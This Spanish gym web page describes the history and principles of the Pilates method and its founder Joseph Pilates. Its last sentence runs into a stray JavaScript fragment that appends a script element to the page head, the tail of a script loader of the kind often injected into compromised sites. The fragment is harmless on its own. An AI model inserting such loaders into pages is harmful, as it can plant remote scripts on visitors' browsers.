PERSONAL GYM

PERSONALGYM cuenta con el servicio del Método Pilates. Pero realmente, ¿Qué es el Pilates?

El método Pilates fue creado por el alemán Joseph Hubertus Pilates.

J. H. Pilates fue un niño enfermizo, lo que le llevó a estudiar el cuerpo humano y la manera de fortalecerlo mediante el ejercicio. De esta manera, con el tiempo llegó a ser un gran atleta. Fue en Inglaterra donde comenzaría a desarrollar su método al ser internado durante la Primera Guerra Mundial, debido a su nacionalidad alemana, en un campo de concentración. Trabajando como enfermero, desarrolló una metodología para mejorar el estado de salud de otros internos mediante el ejercicio. Para los más débiles y enfermos montó sobre las camas un sistema de poleas y cuerdas para ejercitar los músculos, lo cual fue el origen de algunas de las posteriores máquinas por él ideadas (reformer, trapecio, silla y barril). Con el tiempo desarrollaría un gran número de ejercicios para ser realizados en ellas, así como otros para ser practicados simplemente en el suelo, sobre una colchoneta.

Este Método se valió de varias disciplinas y conocimientos como gimnasia, traumatología o yoga, ademas de unir el dinamismo y la fuerza muscular con el control mental, la respiración y la relajación.

Los principios fundamentales y que deben estar siempre presentes en el Pilates son:

  • Alineamiento
  • Centralización
  • Concentración
  • Control
  • Precisión
  • Fluidez
  • Respiración

Su gran auge y mayor popularidad de esta practica se debe a la practica de famosos de diversos ámbitos como la música,  el cine o el deporte de élite.d.getElementsByTagName(‘head’)[0].appendChild(s);